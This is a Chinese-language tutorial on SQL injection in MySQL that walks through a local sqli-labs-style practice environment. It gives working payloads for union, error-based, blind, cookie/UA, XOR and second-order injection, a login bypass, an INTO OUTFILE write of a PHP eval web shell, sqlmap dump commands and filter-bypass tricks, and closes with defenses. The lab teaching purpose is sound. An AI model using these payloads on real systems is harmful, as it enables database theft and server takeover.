一、背景
SQL注入漏洞是一种常见的软件安全问题,它发生在应用程序的数据库层中。其核心原理是将用户输入的数据当做代码来执行,违反了"数据与代码分离"的原则。具体来说,攻击者通过构造恶意的SQL查询语句,使得应用程序在执行SQL查询时,将攻击者的恶意代码当作正常的SQL查询语句执行,从而获取敏感数据或者破坏系统。
攻击者利用SQL注入漏洞,可以非法获取网站控制权,甚至获取用户的敏感信息。因此,了解SQL注入漏洞的原理、发现方法以及防护措施是非常重要的。
接下来我们了解一下SQL注入发生的原理:
二、原理
接下来我们以MySql数据库为例,MySQL数据库有一个特殊的结构是information_schema数据库,information_schema数据库的有如下结构:
information_schema
tables
table_schema(表对应的数据库)
table_name (所有表名)
columns
table_schema(表对应的数据库)
table_name (所有表名)
column_name (所有列名)
schemata (包含所有数据库的名)
schema_name 数据库名
2.1 我们以正常的SQL为例
例如:select * from tb where username like "%${name}%";这是以MyBatis为例,在查询数据库的时候使用 ${} 维符号实现SQL语句拼接,此时程序输入参数name="测试" 那么在业务SQL中会拼接如下:select * from tb where username like "%测试%";
正因为 ${} 这样直接使用字符串替换且未对用户输入参数进行处理的方式存在,攻击者就可以构造一些恶意的代码比如输入name =1%" or 1=1 --+ 这样拼接的SQL就会如下:select * from tb where username like "%1%" or 1=1 --+%"; 这样SQL语句在直接username like "%1%"没有查询到值的情况下,就会执行where 1=1,就会查到数据库中其他所有的值。
基于如上的原理我们可以构造更加复杂的SQL语句,实现获取更多敏感数据,甚至进一步入侵网站。
2.2 对SQL注入产生原因进行分析
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者的输入就会直接被数据库引擎执行,获取或修改数据库中的数据。此外,如果代码中进行了过滤,但是过滤不严格,攻击者还可以通过控制参数和拼接语句来猜解数据库和绕过认证。
接下来我们演示一下如何发现和利用SQL注入漏洞
三、漏洞发现及利用
SQL注入需要遵循以下步骤,首先发现注入点,第二、获取数据库信息,第三、获取对应数据库表信息、第四、获取某一个具体表信息,第五,获取某一个表字段信息
3.1 联合注入
主要是采用数据库字段union ,联合另外一个SQL进行执行,让正常的业务SQL执行没有返回值,那么就会将union联合的SQL执行并回显,
就比如:
id=0' union select 1,2,concat_ws('-',user(),database(),version()) --+ 使用联合注入查看数据库名称
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 现在我们知道数据库是security,然后我们要查看这个数据库有哪些表
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' --+ 查看这个表中有哪些列内容
id=0' union select 1,(select group_concat(username,password) from users),user() --+ 查询具体表中的数据,然后通过串联成一个字符串进行显示
//注意在使用查询的时候,如果有字段是关键字,会导致查询报错怎么办,使用 table.column 及在写查询行数据的时候 表名.字段名 这样可以避免 字段是关键字的问题。
3.2 报错注入
在许多情况下,Web程序没有正常显示错误回显,这使得我们可以利用报错注入的方式来进行SQL注入。具体来说,攻击者通过构造特殊的SQL语句,插入恶意代码,尝试触发数据库报错并显示报错信息。然后,攻击者根据报错信息判断注入是否成功,并获取到数据库中的敏感信息。需要注意的是,报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的。
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))-- - 查询数据库
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='ctf')))-- - 查询表
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(flag) from ctf)))-- - 查询字段
http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - 由于字段过长进行字段拼接
3.3 布尔盲注
攻击者通过构造特定的SQL语句,通过判断某个条件的真假来获取数据库中的信息。在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。基于布尔的盲注指的是Web的页面仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
http://192.168.244.100:83/Less-8/?id=1' and (ascii(substr(database(),1,1))>95)-- -
回显正常,database()第一个字母ascii大于95
http://192.168.244.100:83/Less-8/?id=1' and (ascii(substr(database(),1,1))>120)-- -
回显异常,database()第一个字母ascii小于120
3.4 时间盲注
这种攻击方法根据页面的响应时间来判断是否存在注入。具体来说,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分
http://192.168.244.100:83/Less-9/?id=1' and if(ascii(substr(database(),1,1))>99,1,sleep(3))-- -
页面响应无卡顿,database()第一个字母ascii大于99
http://192.168.244.100:83/Less-9/?id=1' and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -
页面响应卡顿3秒,database()第一个字母ascii小于120
3.5 直接写入php木马文件
通过SQL语句向指定路径写入文件
http://192.168.244.100:83/Less-1/?id=1' union select 1,'<?php eval(_POST\[1\]);phpinfo();?\>',3 into outfile '/var/www/html/upload/kkk.php'-- - 向一个指定路径下下入kkk.php ,内容就是PHP的一句话木马 password=123\&username=1'union%0bselect%0b'\=eval(_POST[1]);?>',1%0binto%0boutfile%0b'/var/www/html/x.php'%23 也是向指定目录下写入PHP的一句话木马
这样就可以使用中国蚁剑进行连接,从而控制服务器的目的。
3. 6万能密码
再知道用户名不知道密码的情况下,构造SQL语句屏蔽后续验证密码的SQL语句
http://192.168.244.100:83/Less-11/
用户名: admin' or 1#
密码: 随便输入
登陆后下翻页面可以看到SuccessFully
3.7 UA头&Cookie注入
UA头注入
http://192.168.244.100:83/Less-18/
开启抓包
用户名: admin
密码: admin
登陆
在包体中更改UA头部分,单引号显示报错
然后更改并闭合UA头
1',1,updatexml(1,concat(0x3a,(select database())),1)||'1'='1
即可达到报错注入的效果
3.9 Cookie注入
http://192.168.244.100:83/Less-20/
用户名: admin
密码: admin
登陆
开启抓包,刷新界面后
在包体中更改Cookie部分,单引号显示报错
Cookie部分替换为
uname=admin' and updatexml(1,concat(0x3a,(select database())),1)||'1'='1
即可达到报错注入的效果
3.10 异或注入
异或运算的规则是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)。同时,对于空值(null)与任何条件的异或运算结果都为null。因此,在SQL注入过程中,通过应用异或逻辑,我们可以改变原有的SQL查询语句,从而使得原本被过滤或屏蔽的关键字能够被执行
http://192.168.244.100:83/Less-yh/?id=1\^(length(database())>0)-- -
http://192.168.244.100:83/Less-yh/?id=1\^(length(database())>999)-- -
异或注入 1^ 0 = 1 1^1=0 当后面的语句正确时候无回显 当后面的语句错误时候有回显
3.11 二次注入
在于知道用户名,重新注册用户的时候,在用户名上机型设计,让新用户登录可以关联到原有用户上面,而不需要原有账户的密码
有一个用户LTLT 密码123
我们注册一个LTLT'# 密码qwe
当我们登陆进LTLT'#后 更改密码为kkk
那么就会发现LTLT的密码被改位kkk了
3.12 虚表登陆
原本数据库没有这个信息,我们通过自己构造一个虚拟的用户数据进入,确保查询能够正常返回结果
http://192.168.244.100:83/Less-xb/xb.php
用户名: xxx' union select 1,'admin_LTLT','qwe'-- -
密码: qwe
原理: 构造了一个虚表,将password列置为我们自定义的字符串
3.13 无列名注入
http://192.168.244.100:83/Less-1/?id=1' and 0 union select 1,group_concat(
2
),3 from (select 1,2 union select * from ctf)a-- -在不知道列名的情况下,我们通过联合表的方法新构造一个table以及表头,再将我们自定义的列名通过其他方式查询出来
3.14 使用sqlmap进行注入
#获取所有数据库信息
python sqlmap.py -u "url" --dbms=mysql --dbs --batch
#获取security数据库下的表信息
python sqlmap.py -u "url" --dbms=mysql -D "security" --tables --batch
#获取security数据库下的users表下的列信息
python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" --batch
#获取users表下的字段信息
python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" --columns --batch
python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" -C "id,username,password" --dump --batch
#若是POST请求
1、使⽤"--data"参数
python sqlmap.py -u "url" --data "id=1" --dbs --batch
2、将http请求数据保存下来,然后使⽤"-r"参数进⾏注⼊攻击,注意这里面的post_data.txt是通过bp获取的提交给服务端的信息
python sqlmap.py -r post_data.txt --dbs --batch
3.15 绕过方法总结
绕过空格: // select/ /xxx//from/ /yyy//where/ /ddd=eee
括号 select(xxx)from(yyy)where(ddd=eee)
绕过等号: 可以使用 like regexp
绕过注释符: ||or'0 以闭合后面的单引号
绕过limit 0,1 中的逗号: limit 1 offset 1
绕过ascii: ord
绕过substr: mid left right
四、漏洞防护手段
为了防止报错注入攻击,提供了以下方式:
1.使用PreparedStatement:PreparedStatement可以有效避免SQL注入问题,当数据库在处理一个SQL命令的时候,可以将变量代入指令集,开始实际执行,避免了重复解析SQL的过程。
2.使用存储过程:存储过程也可以防止SQL注入,由于存储过程将查询和数据操作封装在一起,因此减少了未经验证的用户输入直接构成SQL命令的可能性。
3.验证用户输入:这是防止SQL注入最基本也是最重要的方法。开发者需要确保所有从用户接收的输入都经过严格的验证和过滤,以防止恶意代码的执行。
4.使用ORM框架:对象关系映射(ORM)框架如Hibernate和MyBatis等,它们可以帮助开发者更好地管理数据库操作,减少因错误使用SQL语句而引发的安全问题。
5.使用参数化查询:参数化查询可以有效防止SQL注入攻击,因为它将查询和数据分开处理,从而避免了恶意用户输入被解析为SQL代码。
6.限制数据库权限:为数据库账户设置最小权限原则,可以减少潜在的损害。例如,只给予应用程序账户执行其任务所需的最小权限。
7.定期更新和修补系统:这可以帮助及时修复已知的安全漏洞,避免被攻击者利用。
五、总结
SQL注入漏洞的存在对系统乃至整个服务器都会产生严重的危害,有多种方式可以进行SQL注入漏洞的利用,程序在开发过程中零信任用户的输入,对其进行严格的限制,并且采用市面上成熟的框架和成熟的方法(参数化查询)进行sql语句的解析。攻防的方法还在不断的进化,大家对SQL注入有哪些疑问、见解或者最新的攻击方式,请评论区进行留言。